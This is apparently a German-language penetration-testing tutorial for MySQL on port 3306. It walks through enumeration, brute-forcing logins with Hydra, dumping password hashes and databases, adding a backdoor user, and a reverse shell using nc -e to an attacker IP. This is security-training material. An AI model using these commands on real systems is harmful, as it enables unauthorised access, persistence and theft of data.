3306 - MySQL

Einführung in MySQL

MySQL ist ein Open-Source-SQL-Datenbankverwaltungssystem (RDBMS), das nach dem Client-Server-Prinzip arbeitet. Es speichert Daten in strukturierten Tabellen und wird häufig für Webanwendungen in Kombination mit Linux, Apache und PHP (LAMP-Stack) oder Nginx (LEMP-Stack) verwendet. MySQL ist bekannt für seine hohe Performance, Skalierbarkeit und Benutzerfreundlichkeit.

Sicherheitsrelevante Aspekte

  • Unverschlüsselte Authentifizierung: MySQL kann auf unverschlüsselten TCP-Ports (3306) betrieben werden.

  • Schwache Zugangsdaten: Standardbenutzer wie root ohne Passwort sind oft zu finden.

  • Fehlkonfigurierte Benutzerrechte: Exzessive Rechte für nicht-administrative Benutzer.

  • SQL-Injection: Fehlerhafte Webapplikationen können Angreifern direkten SQL-Zugriff ermöglichen.

  • Datenlecks durch Debug-Logs: Fehlerhafte Konfiguration kann sensible Daten in Logs speichern.


Gefährliche MySQL-Einstellungen

Bestimmte Konfigurationsoptionen können ein erhebliches Sicherheitsrisiko darstellen:

Einstellung

Beschreibung

user

Setzt den MySQL-Dienstbenutzer. Falls falsch konfiguriert, kann MySQL mit Root-Rechten laufen.

password

Speichert Klartextpasswörter. Dies sollte vermieden werden.

admin_address

Gibt an, auf welcher IP der MySQL-Adminservice erreichbar ist. Eine falsche Konfiguration kann zu einem öffentlichen Zugang führen.

debug

Aktiviert Debugging-Informationen, die sensitive Daten preisgeben können.

sql_warnings

Zeigt detaillierte Fehlermeldungen, die für SQL-Injections genutzt werden können.

secure_file_priv

Definiert, ob MySQL Dateien importieren/exportieren darf. Unsichere Werte ("" oder NULL) können zur Arbitrary File Read/Write Schwachstelle führen.


Grundlegende MySQL-Befehle

Befehl

Beschreibung

$ mysql -u <user> -p<password> -h <IP>

Verbindung zu einem MySQL-Server herstellen.

show databases;

Listet alle verfügbaren Datenbanken.

use <database>;

Wechselt zur angegebenen Datenbank.

show tables;

Zeigt alle Tabellen der aktuellen Datenbank.

show columns from <table>;

Listet Spalten einer bestimmten Tabelle.

select * from <table>;

Zeigt den gesamten Inhalt einer Tabelle.

select * from <table> where <column> = "<string>";

Sucht nach einem spezifischen Wert in einer Tabelle.


Schritt-für-Schritt MySQL Pentesting

1. Service Enumeration

1.1 MySQL-Port mit Nmap scannen

Zunächst überprüfen wir, ob MySQL auf dem Zielsystem läuft und welche Version genutzt wird:

$ sudo nmap -sV -sC -p3306 --script=mysql* <Ziel-IP>  # Scannt den MySQL-Port 3306 mit Standard-Skripten

Möglicher Output:

PORT     STATE SERVICE     VERSION
3306/tcp open  mysql       MySQL 8.0.27
| mysql-info:
|   Protocol: 10
|   Version: 8.0.27
|   Capabilities: LongPassword, SupportsTransactions, SupportsCompression, Speaks41ProtocolNew
|   Auth Plugin Name: caching_sha2_password

Interpretation:

  • Der MySQL-Dienst ist aktiv und verwendet die Version 8.0.27.

  • Der verwendete Authentifizierungs-Plugin ist caching_sha2_password.


1.2 Benutzer- und Passwort-Enumerierung

Falls keine Zugangsdaten vorhanden sind, versuchen wir, schwache oder Standard-Passwörter zu finden:

$ sudo hydra -L users.txt -P passwords.txt mysql://<Ziel-IP> -V  # Brute-Force Angriff mit Hydra

Alternativ mit Nmap:

$ sudo nmap -p3306 --script=mysql-brute <Ziel-IP>  # Automatische Benutzer/Passwort-Enumerierung

Achtung: Ein erfolgreicher Login mit root ohne Passwort ist ein kritischer Sicherheitsmangel.


2. MySQL-Exploitation

2.1 Direkte Anmeldung

Falls gültige Zugangsdaten gefunden wurden, können wir uns mit dem MySQL-Client anmelden:

$ mysql -u root -p -h <Ziel-IP>  # Interaktive Anmeldung an MySQL

Falls das Passwort bekannt ist:

$ mysql -u root -pP4SSw0rd -h <Ziel-IP>

Erfolgreiche Anmeldung:

Welcome to the MySQL monitor. Commands end with ; or \g.
mysql> show databases;

2.2 Zugriff auf sensible Daten

Sobald wir Zugriff haben, suchen wir nach sensiblen Informationen wie Benutzerkonten und Passwörtern.

mysql> use mysql;
mysql> show tables;
mysql> select host, user, authentication_string from user;

Möglicher Output:

+-----------+----------+-------------------------------------------+
| host      | user     | authentication_string                    |
+-----------+----------+-------------------------------------------+
| localhost | root     | *E6CC90B878B948C35E92B003C792CABC3A613141 |
| %         | admin    | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
| %         | user1    | *0F2A5B1444A741A95B459424F42DF57E7E1D2276 |
+-----------+----------+-------------------------------------------+

Hinweis:

  • Hashes können mit hashcat oder john geknackt werden.


2.3 Dumping der Datenbank

Falls wir Zugriff auf eine relevante Datenbank haben, können wir sie vollständig exportieren:

$ mysqldump -u root -p --all-databases > dump.sql  # Exportiert alle Datenbanken

Ziel:

  • Lokale Analyse oder Import in eine Testumgebung.

  • Suche nach sensiblen Daten (Benutzer, Passwörter, Kreditkarteninformationen).


2.4 SQL-Berechtigungen eskalieren

Falls wir eingeschränkte Rechte haben, prüfen wir unsere Berechtigungen:

mysql> show grants for current_user();

Falls wir Schreibrechte auf kritische Tabellen haben, könnten wir einen Backdoor-User anlegen:

mysql> insert into mysql.user (Host, User, authentication_string, plugin) values ('%', 'backdoor', PASSWORD('pwned'), 'mysql_native_password');
mysql> flush privileges;

2.5 Exploits & Schwachstellen

Falls MySQL veraltet ist, suchen wir nach bekannten Exploits, z.B.:

$ searchsploit mysql | grep -i "Remote Code Execution"

Beispiel für eine kritische Schwachstelle:

$ exploit-db 1518 # MySQL 5.1.1 UDF Exploit

3. Post-Exploitation & Persistenz

Falls wir Zugang zu MySQL haben, können wir uns durch Hintertüren Zugang verschaffen:

3.1 Einfügen eines Reverse Shell-Triggers

Falls die Datenbank als Root läuft, können wir Shell-Befehle ausführen:

mysql> select sys_exec('nc -e /bin/sh <Angreifer-IP> 4444');

Last updated